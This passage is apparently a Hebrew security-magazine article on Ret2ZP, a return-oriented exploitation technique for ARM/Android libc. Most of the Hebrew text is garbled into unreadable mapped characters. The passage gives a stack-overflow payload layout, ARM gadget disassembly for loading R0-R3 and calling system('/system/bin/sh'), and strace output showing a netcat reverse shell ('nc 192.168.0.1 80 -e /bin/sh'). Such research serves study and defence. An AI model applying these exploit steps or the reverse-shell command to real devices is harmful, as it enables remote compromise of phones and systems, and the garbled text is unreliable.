ˡ˟˪˟ ˸˥˞ ˢ˞˧˶˵˟ . ˸˧ˮ˯˥ˬˢ ˪˷ ˢˤˣˤ˸ˢ ˸ˣˬ˩˟ ˢ˦˧˪˷ ˶ˣ˟˰ ˫ˠ ˣˤ ˢ˵˧ˮ˩˦˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ) ˢ˦˧˷ˣ

˶˸ˣ˧ ˢ˷˧ˬˠ ˣˤ.( 

 ˢˤ ˢˬ ˶˧˟˯ˮ ˸˰˩bx LR. 

bx {LR} ˪ ˫˧˞ˮ˸ ˞˪˪ ˢ˴˧˲˵ ˣˮ˧ˢ- {LR} ) ˪ ˰˧˟˴ˬ˷SP+4  ˢ˞˟ˢ ˸˟ˣ˸˩ˢ ˸˞ ˫˧˴˧˶ˬ +4 ˫˧˸˟( , ˪˟˞

 ˟˴ˬ˪ ˣˮ˸ˣ˞ ˯˧ˮ˩˧ ˢˤthumb  ˣ ˢˡ˧ˬ˟LR[0]==1-. 

˨˩ ˢ˞˶˧ ˢˤ: 

| ------ | ------- | ---- | ---- |wprintf epilogue| ------------ | - 4 bytes -- ... -- | - 4 bytes -------- | -- 4 bytes ------- |  

|16 A's| BBBB  | R4 |R11 |&0x41df8958     | . ...&0x 41df8958 | &0x41df8958...   | AAAA           |    &SYSTEM     |  

| ------ | ------- | ---- | ---- | - stack lifted --- | ------------ | --------------- | ---------------- | ----- ------ ----- |  

|args  | junk [ 20 ] |  R4 | FR |prog - counter    | again. lift|again...n times| after enough li fting | (pc - after lift)|  

 ˪˟˵ˮ ˸ˣˤˤˢ ˵˧˲˯ˬ ˶˥˞˪) ˨ˣ˸ˬStrace(: 

 [pid 3843] execve("/bin/sh", ["sh", " - c",  

"AAAABBBBCCCCDDDDEEEEFFFFGGGGHX\ 211 \ 337A"...], [/* 19 vars */]) = 0  

 

 ˪ˡˣˠ˟ ˣˮ˪˷ ˳˴ˣ˥ˢ ˪˩ ˸˞ ˪˟˵ˮˣ16  ˫˧˸˟ +8 ˢ˴˶ˮ˷ ˢˬ ˪˩ ˸˞ ˫ˢ˟ ˳˧˶ˢ˪ ˪˩ˣˮ˷ ˫˧˸˟ ,˞˷ ˢˬ ˶ˣˬ

˵ˣ˥˶ˬ ˸˥˪˴ˣˬ ˢ˲˵˸ˬ ˰ˣ˴˧˟˪ ˵˧˲˯ˢ˪ . 

 ˞ˬˠˣˡ˪) ˨ˣ˸ˬStrace:( 

[pid 3847] execve("/bin/sh", ["sh", " - c", "nc 192.168.0.1 80 - e 

/bin/sh; \ 211 \ 337A"...], [/* 19 vars */]) = 0  

 

Ret2ZP ï ˪ ˸ˣˬ˞˸ˢ-R0 ɀ R3  

 

˱˯ˣˮ ˷˧˥˶˸: 
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 ˨˶˰ ˢ˵˧ˤ˥ˬ ˢˮ˧˞˷ ˢ˰˧ˠ˲ ˢ˧˴˵ˮˣ˲ ,˶˲˯ˬ ˢ˷ˣ˰ ˨˞  ˫˧˶ˠˣ˞ˢ ˸˶ˤ˰˟ ˫˧˶˟ˡR0-R3 )ˮ˩" ˶ˣ˟˰ ˪

˸ˣ˞˴ˣ˸ ˸ˣ˶˧ˤ˥ˬ˷ ˸ˣ˧˴˵ˮˣ˲.( 

ˢˤ ˢ˶˵ˬ˟ , ˸˲˵˸ˬ˟ ˷ˬ˸˷ˢ˪ ˫˧˴ˣ˶ ˣˮ˞ ˫˞Ret2ZP , ˫˧˶ˠˣ˞ˢ ˪˷ ˯ˣ˦˞˦˯ˢ ˸˞ ˞ˡˣˣ˪ ˫˧˩˧˶˴ ˣˮ˞

ˢ˰˧ˠ˲ˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ ˶˥˞˪. 

˷ ˭˩˧ˢ ˧˯˥˧ˢ ˫ˣ˵˧ˬ˪ ˰˧˟˴˧˷ ˶ˠˣ˞ ˫˧˩˧˶˴ ˣˮ˞-R0 ˸ˤˣ˶˥ˬˢ ˧ˣˮ˧˷ ˶˥˞˪ ˢ˧ˢ ,˷ˬ˸˷ˢ˪ˣ ˟- Ret2ZP ˧ˡ˩

ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˭˩ˬ ˶˥˞˪ˣ ˸˧ˮ˯˥ˬˢ ˸˞ ˤ˧ˤˢ˪ˣ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ ˸˞ ˸ˣˮ˷˪. 

ˣˬ˴˰ ˳˴ˣ˥ˢ ˪˰ ˸ˣ˶˟˰ˣˬ˷ ˶˸ˣ˧ ˸ˣ˟˩˶ˣˬ ˸ˣˡˣ˵˲ ˸˴˶ˢ˪ ˢ˟ˣ˦ ˣˤ ˢ˦˧˷ , ˢˡˣ˵˲ ˵˶ ˨˧˶˴ ˫˞ ˨˞

ˢ˦ˣ˷˲ ,˸˧ˬˣ˵ˬ ˢ˲˵˸ˬ˟ ˫˧˷ˬ˸˷ˬ ˢ˟˷ ˨˶ˡˢ ˢ˸ˣ˞˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ , ˪˷ ˢˬ˧˶ˤ˟ ˦ˣ˪˷˪ ˣ˪˧˲˞ ˭˸˧ˮ

˩ˣ˸ˢ˰ ˸˧ˮ" ˭ˣˠ˩ ˸ˣ˧˴˵ˮˣ˲ˬ ˸ˣ˞˧˴˧ ˧erand48: 

.text:41DC7348   LDMFD  SP, {R0,R1}  ; <== ˫˧ˬ˞˸ˣˬ R0  ˣ R1  

.text:41DC734C   ADD   SP, SP, #0xC ; ˟ ˸ˬ˞˸ˣˬ ˸˧ˮ˯˥ˬˢ-12 ˫˧˸˟ , ˶˧˞˷ˬ˷ ˢˬ4 ˪˟ˤ ˪˷ ˫˧˸˟      

.text:41DC7350   LDMFD SP!, {PC}     ; ˪ ˫˧˴˲ˣ˵-4 ˪˟ˤˢ ˧˶˥˞˷ ˫˧˸˟ 

 

˭ˣˠ˩ ˫˧˲˯ˣˮ ˫˧˶ˠˣ˞˟ ˫ˠ ˸ˣ˧˯˥˧ ˸ˣ˟ˣ˸˩ ˷˲˥ˮ: 

˸ˣ˧˴˵ˮˣ˲˪ ˸˧˦˶ˡˮ˦˯ ˢ˞˧˶˵˟ ˡ˧˵˲˸ˢ ˱˯ˣˮ ˫˷ ˶ˠˣ˞   

-s Program counter PC   R15   

Link Address (Link Register) / Scratch register  LR   R14   

Stack Pointer ˸˧˥˩ˣˮˢ ˸˧ˮ˯˥ˬˢ ˪˷ ˸˶ˠ˯ˬˢ ˱ˣ˯    SP   R13   

The Intra-Procedure-call scratch register  IP   R12   

 ˸˶ˠ˯ˬˢ ˪˰ ˰˧˟˴ˬ / ˢˮ˸˷ˬ ˶ˠˣ˞8 FP/v8   R11   

 ˸˧ˮ˯˥ˬ ˸˪˟ˠˬ / ˢˮ˸˷ˬ ˶ˠˣ˞7 sl/v7   R10   

ˢˬ˶ˣ˲˦˪˲ ˶ˠˣ˞ ,˰ ˶ˡˠˣˬ ˢˤ ˶ˠˣ˞ ˶ˬˣ˪˩"ˢˬ˶ˣ˲˦˪˲ˢ ˧ 
sb/tr/v6 

        
R09 

  

  

˟ ˡˣ˵ ˣˮ˷˧ˣ ˰ˣ˴˧˟˪ ˢ˪˵ ˷ˬˬ ˰˴˟˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˢ˪ˣ˰˲ˢ- libc ˪ ˸ˣˬ˞˸ˢ ˰˴˟ˬ˷-R0  ˡ˰.R3  

˱˯ˣˮ˟ , ˨ˣ˸˪ ˸˧ˮ˯˥ˬˢˬ ˫˧˩˶˰ ˞˧˴ˣˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞R0  ˡ˰R3 ˟ ˡˣ˵ˢ ˪˷ ˫˧ˬ˧ˣ˯ˬ ˫˧˵˪˥˟- libc.so  ˢˬ

˰˲˷ˣˬˢ ˶˧˷˩ˬˢ ˪˰ ˢ˦˧˪˷ ˪˟˵˪ ˧ˡ˩ ˵˧˲˯ˬˬ ˶˸ˣ˧˷. 
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˞ˬˠˣˡ˪ , ˢ˧˴˵ˮˣ˲ˢˬ ˢ˞˟ˢ ˢ˞˧˴˧˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮMCOUNT   ˨ˣ˸˪ ˸˧ˮ˯˥ˬˢˬ ˫˧˩˶˰ ˞˧˴ˣˢ˪ ˧ˡ˩R0 

ˡ˰ R3  

.text:41E6583C mcount  

 .text:41E6583C                 STMFD   SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount'  

 .text:41E65840                 MOVS    R11, R11  

 .text:41E65844                 LDRNE   R0, [R11,#-4]   

.text:41E65848                 MOVNES  R1, LR  

 .text:41E6584C                 BLNE    mcount_internal   

.text:41E65850                 LDMFD   SP!, {R0-R3,R11,LR} <=== 

 ˪˰ ˢ˦˧˪˷ ˣˮ˪ ˭˸˧˸ ˭˞˩˪ ˢ˴˧˲˵R0, R1, R2, R3, R11  ˪˰ˣLR ˳ˣ˲˵˸ ˢ˧˪˞˷ 

 .text:41E65854                 BX      LR  

 .text:41E65854 ; End of function mcount   

 

 ˫˧˥˧˪˴ˬ ˫˩ˮ˧˞ ˫˞˞ˣ˴ˬ˪  ˸˞ ˢ˶ˤ˥ˬ ˫˧˞˸ˢ˪ ˫˩˪ ˶˷˲˞ˬ˷ ˡˣ˵SP  ˸˞ˣR0  ˡ˰R3  ˸˷˧˪ˠ˪ ˨˶ˡ˟

 ˸ˣ˧˴˵ˮˣ˲ˢ ˨ˣ˸ˬ ˶˥˞ ˣˢ˷ˬ˟ ˷ˬ˸˷ˢ˪ ˫˩˧˪˰ ˢ˧ˢ˧ ˳˴ˣ˥ˢ / ˣˬ˩ ˢ˧˴˵ˮˣ˲˟ ˸ˣ˪˪˩ˣˬ ˶˟˩˷ ˸ˣˡˣ˵˲ˢ

 ˸˲˵˸ˬ˟ret2libc ˢ˪˧ˠ˶,  ˢ˶ˣ˴˟ ˫˧˶˦ˬ˶˲ ˶˧˟˰ˢ˪ ˧˪˟ˬˢˮ˧˵˸. 

 ˸˶ˡˠˣˬ ˢ˴ˣ˟˵ ˨ˣ˸ˬ ˸ˣ˧ˣ˴˶ ˸ˣ˞˴ˣ˸ ˣ˪˟˵˸˷ ˧ˡ˩ ˨˧˶˴˷ ˢˬ ˰˴˟˸˷ ˣ˞˷ ˨˩ ˣˤ ˢ˞˧˶˵ ˫˧˞˸ˢ˪ ˣ˩˶˦˴˸

 ˫˧ˡˣ˵ ˪˷ ˷˞˶ˬ) ˸˴˶ˢ˪ ˞ˬˠˣˡ˪/bin/sh ˧ˢ˷˪˩ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˭˧˲ˣ˪˥˪ ˣ˞ ( ˸ˣˬˣ˵ˬ ˫ˮ˷˧ ˫˞˷ ˣ˞

 ˫˧ˮ˧˧ˮˣ˰ˬ ˫˸˞ ˢ˟˷ ˨˶ˡ ˪˩˟ ˢ˧˴˵ˮˣ˲ ˪˩˪ ˞ˣ˶˵˪ ˧ˡ˩ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˣ˪˩ˣ˸ ˫˧˧˦˞˦˯ï  ˶ˣ˷˲˞ ˞ˬˠˣˡ˪

˳˧˶ˢ˪ ˣ˴˶˸˷ ˧ˮ˷ˬ ˡˣ˵˪ ˢ˞˧˶˵ˣ ˸˧ˮ˯˥ˬ˟ ˢ˴˶ˢ. 
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Ret2ZP ï ˸˧ˮ˯˥ˬ˟ ˢ˴˶ˢ ˸˪˰˲ˢ˪ ˢ˲˵˸ˬ˟ ˷ˣˬ˧˷ 

 

˪ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˸ˣˮ˷˪ ˸ˮˬ ˪˰ ˢ˲˵˸ˬ˟ ˷ˬ˸˷ˢ˪ ˫ˠ ˭˸˧ˮ-MPROTECT  ˢ˴˧˶ ˸˞˷˶ˢ ˱˧˯ˣˢ˪ ˧ˡ˩

˫˩˪˷ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˧˞˪ , ˳˧˶ˢ˪ˣ ˸˧ˮ˯˥ˬ˪ ˳ˣ˲˵˪ ˭˩ˬ ˶˥˞˪ˣshellcode )˟ ˥˲˯ˮ ˣ˞˶ ,' ˭˧˧˴˪ ˟ˣ˷˥ ˨˞

 ˥ˣ˸˧˲shellcode ˶ˣ˟˰ ˫˧ARM ˪ ˥ˣ˸˧˲ˢ ˧˶ˣ˥˞ˬ ˪˥ˡˤˬ-X86( 

 

Ret2ZP ï ˡ˧˞ˣ˶ˡˮ˞ ˧˯˯ˣ˟ˬ ˫˧ˮˣ˲˪˦ ˸˴˧˶˲ 

 

 ˯˵ˣˮ˧˪ ˭˧˟ ˟˶ ˭ˣ˧ˬˡ ˷˧"˪˧ˠ˶ "ˡ˧˞ˣ˶ˡˮ˞ ˭˧˟˪ . ˸˞ ˷ˡ˥ˬ ˣ˪˲ˬ˧˵ ˡ˧˞ˣ˶ˡˮ˞ ˧˷ˮ˞libc  ˫˧˞˸ˢ˪ ˸ˮˬ ˪˰

˫ˢ˪˷ ˢˬ˶ˣ˲˦˪˲˪ ˶˸ˣ˧ ˢ˸ˣ˞ . ˭˧˥˟ˢ˪ ˣ˪˩ˣ˸˷ ˫˧˶˟ˡˢ ˡ˥˞ ˢ˧˧˶˲˯˟ ˭˧˞˷ ˞ˣˢ ˫ˢ˟"pop .* R0 .* "

)˨ˬ˯ˬˢ ˶˟˥ˬ ˷˲˧˥ ˢ˟˷ ˢ˯˶ˠ˟ ˞˪ ˸ˣ˥˲˪.( 

 ˸ˤˣ˶˥ˬˢ ˸˞ ˭˯˥˞˪ ˪˩ˣˮ ˨˧˞ ˤ˞/system/bin/sh ˟-R0 ?) ˫˸˯ ˞˪ ˢˤ/bin/sh ˡ˧˞ˣ˶ˡˮ˞˟ (ï  ˨˶˦˴ˮ

˸˴˵ ˫˩˥˸ˢ˪ ,˶˟ˡ ˣ˸ˣ˞ ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˢˤ ˪˟˞. 

ˡˣ˵ˢ ˪˰ ˪˩˸˯ˮ ˸˧˷˞˶: 

mallinfo  

STMFD   SP!, {R4,LR}  

MOV       R4, R0  

BL           j_dlmallinfo  

MOV       R0, R4  

LDMFD  SP!, {R4,PC} ċ  ˢ˲˪ ˳ˣ˲˵ˮ ˣ˞ˣ˟ 
; End of function mallinfo  

 

 ˨ˣ˸˪ ˫˧˶ˣˤ˥˞ ˭˧˞˷ ˭ˣˣ˧˩ˬR0 )ˢˮˣˣ˩˟ ˣ˞ ˸ˣ˰˦˟ ( ˨ˣ˸˪ ˨˶˰ˢ ˸˞ ˶ˤ˥˞ˮR4 ˪ ˣ˸ˣ˞ ˶˧˟˰ˮˣ-R0  ˢ˴˧˲˵˟

ˢ˞˟ˢ. 

˷ ˨˩˪ ˫ˣ˶ˠˮ ˸˷ˠˡˣˬˢ ˢ˶ˣ˷˪ ˳ˣ˲˵ˮ ˫˞-R4  ˸ˤˣ˶˥ˬˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˭˯˥˞˧/system/bin/sh . ˶˥˞˪

 ˸˞ ˣˮ˪ ˷˧ ˭˩ˬR4 ˟ ˢ˦˧˪˷ ˣˮ˪ ˷˧ ˭˧˧ˡ˰ˣ ˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˬ˷-PC .˵˧˲˯ˬ ˞˪ ˢˤ ˨˞ . ˢ˶ˣ˷˪ ˳ˣ˲˵ˮ ˭˩˪

ˢ˞˟ˢ ˸˷ˠˡˣˬˢ: 

mallinfo  

STMFD  SP!, {R4,LR}  

MOV   R4, R0  

BL   j_dlmallinfo  

MOV   R0, R4 ċ .  ˢ˲˪ ˳ˣ˲˵ˮ ˣ˞ˣ˟ 
LDMFD  SP!, {R4,PC}  

; End of function mallinfo  

 

 ˸˰˩R4 ˪ ˤˣˤ˧-R0 x-R0  ˸ˤˣ˶˥ˬ˪ ˰˧˟˴˧/system/bin/sh. 
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˟˪ ˫˧˸˟ ˢ˰˟˶˞ ˡˣ˰ ˪˟˵ˮ ˢ˞˟ˢ ˢˡˣ˵˲-R4 )˫˧˷ˣ˶ˡ ˫ˮ˧˞˷ ( ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ ˶ˣ˟˰ ˫˧˸˟ ˢ˰˟˶˞ ˡˣ˰ˣ

) ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢsystem( ,ˢˡˣ˵˲ ˸˶ˣ˷ ˣˮ˶ˣ˟˰ ˥˸˲˧˸ ,˧˲˷ ˢ˧˶ˣ˞˧˸ˢ ˭˟ˣˬ˩ ˫˷ˬˣ ˣˮ˦˶

ˢˤˢ ˷˧˥˶˸˟ ˫ˠ ˢ˪˥ ˫˧ˬˡˣ˵ˢ ˫˧˲˧˰˯˟ . 

 ˫˧˲˵ˣ˸ ˫˸˞˷ ˨˧˪ˢ˸ˢ˷ ˣ˩˶˦˴˸)˫˩˪˷ ˡ˧˞ˣ˶ˡˮ˞˟ ,ˡˣˬ˧˪ ˸ˣ˶˦ˬ˪ (! ˫˰ ˪˲ˬˣ˵ˬ ˢ˧ˢ˧ςfno-stack-

protector ) ˧ˡ˧ ˪˰ ˢˮˠˢˢ ˸˞ ˱ˣ˵˰˪ ˫˧˴ˣ˶ ˸ˬ˞˟ ˫˸˞˷ ˫˞bruteforce/cookie guessing/cookie 

overwrite ? ( ˶ˣ˷˧˵ˢ˷ˣ)ˠˣ˵ˮ˧˪' (ˡ ˶˷ˣ˵ˬ ˢ˧ˢ˧˸˧ˬ˞ˮ˧. 

 ˪˰ ˢ˵ˡ˟ˮ˷ ˢ˧˶ˣ˞˧˸ˢ ˪˩ARM  ˫˰libc  ˣ˪˞˪ ˸ˣˬˣˡˢ ˸ˣˬ˞˸ˢ ˫˰ ˡ˧˞ˣ˶ˡˮ˞ ˪˰ ˫ˠ ˡˣ˟˰˸ ˪˧ˠ˶

ˢ˪˰ˬ˪ ˸ˣˬˠˡˣˬ˷. 

 

˸ˣˮ˵˯ˬ 
 

ˣˮ˧ˬ˧˟  ˧ˡ˟˰ˬARM ˸ˣˬˣ˵ˬ ˭ˣˬˢ˟ ˫˧˴ˣ˲ˮ ,˫˧˶˟ˡ ˭ˣˬˢ ˫˧˴˧˶ˬˣ , ˧˸˧˪˰ˢ ˢˤ ˨ˬ˯ˬ˟) ˨ˬ˯ˬˢ ˶˟˥ˬï 

˸ˬˠ˶˸ˬ ˸˶˰ˢ (ˬˢ˷˩ ˫ˠ ˳˴ˣ˥ ˸˷˧˪ˠ ˸˷˪ˣ˥ ˪˴ˮ˪ ˸˧˶˷˲˞ ˨˶ˡ ˶ˣ˟˰ ˢ˴˶˪ ˸ˮ˸˧ˮ ˢˮ˧˞ ˸˧ˮ˯˥ARM. 

˫˧ˡ˟ˣ˰ˣ ˣ˵ˡ˟ˮ ˢˤ ˨ˬ˯ˬ ˶ˣ˟˰ ˸ˣ˞ˬˠˣˡˢ ˪˰ ,ˢ˧˶ˣ˞˧˸ ˵˶ ˞˪ ˣˤ ˶ˬˣ˪˩ ,ˡ˟ˣ˰ ˸ˬ˞˟ ˢˤ ! ˫˰ ˢˡˣ˟˰ 

ARM ˶˟ˡ ˪˩ ˫˴˰˟ ˞ˣˢ ˢ˴˶ˢ˪ ˭˸˧ˮˢ ˡˣ˵ˢ˷ ˶˞˸ˬ ˢˤ ˨ˬ˯ˬˣ ˳˴ˣ˥ ˸ˣ˷˧˪ˠˬ ˥ˣ˦˟ ˢ˸˞˷ ˢ˷ˣ˶˧˲ ˭˧˞

˱˵ˣ˸ˢ ˭ˣ˧ˬˡ˟ ˢ˪ˣ˰˷ ,˪ ˡˣ˵ ˸˟˧˸˩˟˷ ˰ˬ˷ˬ-ARM ˬ˸ ˫˩˧˪˰˫˧˴˴ˣ˥ ˫˰ ˢˡˣ˟˰˟ ˫˧˶˧ˢˤ ˸ˣ˧ˢ˪ ˡ˧ ,

˫˧˪ˡˠ ˵ˣˡ˟˪ , ˭ˣˠ˩ ˸ˣˮ˩ˣ˯ˬ ˸ˣ˧˴˵ˮˣ˲˟ ˫ˣ˵ˬ˟ ˸ˣ˥ˣ˦˟ ˡˣˡ˧˵ ˸ˣ˦˧˷˟ ˷ˬ˸˷ˢ˪ˣstrcpy x-memcpy. 

ˣ˪˪ˠ˟ ˫˧˴˴˷ ˫˧ˬˣ˧˞ˢ ˸˞ ˪˦˟˪ˣ ˢˤˢ ˭ˣ˩˧˯ˢ ˸˞ ˨ˣ˯˥˪ ˸ˣ˪ˣ˩˧ ˸ˣ˥ˣ˦˟ˣ ˸ˣˮˣ˩ˮ ˢˡˣ˟˰ ˧˩˶ˡ ˦˰ˬ. 

ˢ˵˧˲˯ˬ ˢˮ˧˞ ˢ˴˶ˢ˪ ˸ˮ˸˧ˮ ˞˪ ˸˧ˮ˯˥ˬˢ˷ ˢˡˣ˟˰ˢ ,˶ˬ˞ˬ ˢ˥˩ˣˢˢ ˣˮ˧ˢ ˢˤ , ˫˧˲˯ˣˮ ˢ˥˦˟˞ ˧˪ˠ˰ˬˣ

 ˫˧˟ˣ˷˥ ˫ˮ˧ˢˣ ˫˧ˬ˶ˣ˸ ˡ˧ˬ˸) ˭ˣˠ˩cookies/PaX/canaries!( 
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Special thanks to : 

Ilan (NG!) Aelion - Thank Ilan, Couldn't have done it without you; You're the man! 

Also, I'd like to thank to : 

Moshe Vered ς Thanks for the support/help! 

Matthew Carpenter - Thanks for your words on hard times. 

And thanks for Phrack of which I've taken the TXT design. May the lord be with you. 

 

 ˶˟˥ˬ˶ˬ˞ˬˢ 

 ˵˥˴˧)˵ˣ˴ (˫ˢ˶˟˞ , ˸˶˟˥˟ ˶˵ˣ˥Samsung Electronics. 

ˠˣ˪˟: 

 http://imthezuk.blogspot.com 

http://www.preincidentassessment.com 

˸ˣ˪˞˷ ˪ˣ˞˷˪ˣ ˶˷˵ ˶ˣ˴˧˪ ˭˸˧ˮ: itz2000 [at] gmail.com ˶˦˧ˣˣ˦˟ ˣ˞: @ihackbanme 

 ˶ˬ˞ˬˢ˶ˣ˞ ˢ˰ˣˮ ˧ˡ˧ ˪˰ ˫ˠ˶ˣ˸ˣ ˨˶˰ˮ-ˡ˰. 

 

˧˥˲˯ˮ˫ 
.˞ The APCS ARM Calling Convention: 

http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042d/IHI0042D_aapcs.pdf 

 
.˟ AlphaNumeric Shellcodes when stack is executable: 

http://dragos.com/psj09/pacsec2009-arm-alpha.pdf 

 
.ɣ Alphanumeric ARM shellcode: 

http://www.phrack.com/issues.html?issue=66&id=12 

 
.l  ˸˞ ˫˧˥˵ˣ˪˷ ˭˩˧ˢ ˸ˣ˰˦ ˫˷ ˷˧EIP (+4)  ˫ˣ˵˧ˬˢ ˶ˣ˸˟ , ˧˪˪˩ˢ ˭ˣ˧˰˶ˢ ˸˞ ˪˟˵˪ ˭˸˧ˮ ˨˞

 ˪˷ ˶ˬ˞ˬˢc0ntexb 

http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf 

 
.s ˠˣ˪˟ˢ  ˢˤ ˶ˬ˞ˬ ˶ˣ˟˰ ˫˧ˮˣ˩ˡ˰ ˪˧˩˧ ˢˤˢ)˸˧˶˟˰˟ˣ ˸˧˪ˠˮ˞˟:( 

http://imthezuk.blogspot.com            

http://imthezuk.blogspot.com/
http://www.preincidentassessment.com/
http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042d/IHI0042D_aapcs.pdf
http://dragos.com/psj09/pacsec2009-arm-alpha.pdf
http://www.phrack.com/issues.html?issue=66&id=12
http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf
http://imthezuk.blogspot.com/
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ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ï ˧ˮ˷ ˵˪˥ 
 ˶ˡ˞ ˶˧ˮ ˸˞ˬ)UnderWarrior( 

 

 ˪˷ ˭ˣ˷˞˶ˢ ˭ˣ˧˪ˠˢ ˞˴˧ ˢˮ˷ ˧ˮ˲˪Digital Whisper , ˞˷ˣˮ˟ ˢ˟˸˩ ˧˸ˬ˯˶˲ ˣ˟ˣ˸˧˸ˣ˩˞˪ˬ ˢˮ˧˟ . ˶ˬ˞ˬˢ

˨˷ˬˢ˪ ˢ˩˧˥ , ˰˧ˠˬ ˞ˣˢ ˱ˣ˯ ˱ˣ˯ ˢˮˢˣJ 

 

˭ˣ˷˞˶ˢ ˶ˬ˞ˬ˟ ˣˠ˴ˣˢ˷ ˸ˣ˟ˣ˷˥ ˸ˣˡˣ˵ˮ ˢ˶˴˵˟ ˶˧˩ˤˮ: 

¶ sˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ˞˧ˢ ˫ˣ˥˸ ˶˵˥ˬ ˧˰ˡˬ˟ ˟˷˥ˬˢ ,ˢ˶˦ˬˢ˷ ˣ˪˷ ˞˧ˢ ˥ˣ˸˧˲ ˫˧ˬ˸˧˶ˣˠ˪˞ 

ˢ˯˧˲˸˪ ,˸˵˯ˢ ˸ˣˮ˵˯ˬ ˢˡ˧ˬ˪ˣ ,˸˞ˤˣ ˧ˡ˩ ˶ˣ˸˲˪ ˸ˣ˧˰˟ ˸ˣ˟˩˶ˣˬ. 

¶ l ˥˞ ˫˧ˠ˷ˣˬˢ ˫˧˟ˣ˷˥ˢ ˫˪ˣ˰˟ ˢˤ ˞ˣˢ ˠ˷ˣˬ ˭˩ˣ˯ˢ ˧˦ˮˠ˧˪˧˦ˮ˧˞ˢ .˭˩ˣ˯ ˧˦ˮˠ˧˪˦ˮ˧˞ xʕ ˸ˣ˷˧ 

˸˯˲ˣ˸ˢ ˸˞ ˢ˟˧˟˯ˢ ˢ˪˷ ˸˪˰ˣ˲ˣ ˢ˧˪˰ ˧ˡ˩ ˠ˧˷ˢ˪ ˸ˣ˶˦ˬ ˣ˶ˡˠˣˢ˷ ˪˰ ˧ˡ˧ ˢ˧ˮˣˡ˞. 

¶  ˸ˣˮˣ˷ ˸ˣ˪˞˷˟ ˢ˷ˣ˰ ˸˧˸ˣ˩˞˪ˬˢ ˢˮ˧˟ˢ ˫ˣ˥˸ï ˰ˡ˧ ˫˧ˠ˴˧˧ˬ ˨˧˞ ? ˨ˣ˸ˬ ˸ˣˮ˵˯ˬ ˫˧˵˧˯ˬ ˨˧˞

˫˧˧˵ ˰ˡ˧ˬ ?˨ˬ˯ ˪˰ ˸˶˲˸˷ˬ˷ ˸˩˶˰ˬ ˫˧ˮˣ˟ ˨˧˞  ˷ˡ˥ ˰ˡ˧)ˢˡ˧ˬ˪( ?˸ˣ˟˶ ˸ˣ˧˰˟ ˡˣ˰ˣ. 

 

˰ˡ˧ˢ ˠˣ˴˧˧ ˸˪˞˷˟ ˦˰ˬ ˣˮ˰ˠˮ ˭ˣ˷˞˶ˢ  ˶ˬ˞ˬ˟ . ˸˶ˤ˰˟ ˠˣ˴˧ ˞ˣˢ ˸ˣ˧˰˟˪ ˣˮ˰˴ˢ˷ ˠˣ˴˧ˢ˫˧˟˴ˬ ˱˶ˠ . ˢˤ

ˡ˧˥˧ˢ ˠˣ˴˧ˢ ˞˪ ,˸ˣ˧˰˟ ˢ˟˶ˢ˪ ˧˦ˮˣˣ˪˶˷ ˠˣ˴˧ ˢˤ ˪˟˞ .˱˶ˠ ˟˷˥ˬˢ ˧˰ˡˬ˟ ˰ˣˡ˧ ˠ˷ˣˬ ˞ˣˢ . ˢˬˣˡ˟

˫ˡˣ˵ˢ ˨ˬ˯ˬ˪ ,ˮˣ˶˵˰ ˢˬ˩ ˫˩˪ ˶˧˟˰ˢ˪ ˢ˴ˣ˶ ˧ˮ˞ ˸˧˦ˬ˸ˬˢ ˢ˶ˣ˸ˢ ˪˩˪ ˯ˮ˩ˢ˪ ˧˪˟ ˞˷ˣˮ˟ ˫˧˧˯˧˯˟ ˸ˣ

˵ˬˣ˰˪. 

 

˫˧˲˶ˠˢ ˸˶ˣ˸ ˪˰ ˦˰ˬ ˟˧˥˶ˮ ˫˧˞˟ˢ ˫˧˲ˡ˟ , ˸˶ˣ˸˪ ˫˧˶ˣ˷˵ˢ ˫˧˧˯˧˯˟ ˫˧ˬ˸˧˶ˣˠ˪˞ ˶˲˯ˬ ˪˰ ˶˟ˡˮ

ˢˮ˟ˮ˷ ˸˧˸ˣ˩˞˪ˬ ˢˮ˧˟ ˸ˣ˩˶˰ˬ˟ ˟˪˸˷ˬ ˢˤ ˨˧˞ ˧ˡ˩ ˨ˣ˸ ˢ˞˶ˮˣ ˫˧˲˶ˠˢ . ˟˪˷ˬ ˧ˮ˞2  ˞˪ ˫˧˞˷ˣˮ

˫˧˦ˣ˷˲ , ˫˩˪ ˶˷˲˞˧ ˫ˢ˧ˮ˧˟ ˟ˣ˪˧˷ˢ ˨˞˧˦ˬ˸ˬˢ ˰˵˶ˢ ˪˩˪ ˵˵ˡˤˢ˪ ˧˪˟ ˫˧˶˟ˡˢ ˸˞ ˭˧˟ˢ˪ .

 ˫˧ˮ˧˧ˮ˰˸ˬ˪ï  ˫˧˵˸˶ˬˢ ˫˧ˬˣ˥˸ˢˬ ˫ˢ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˫ˣ˥˸ˣ ˫˧˲˶ˠˢ ˸˶ˣ˸ ˫ˣ˥˸)˫˧˷˵ˢˣ ( ˧˰ˡˬ˟

 ˟˷˥ˬˢï ˫ˣ˥˟ ˳˪ˬˣˬ! 
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˫˧˲˶ˠ 

 

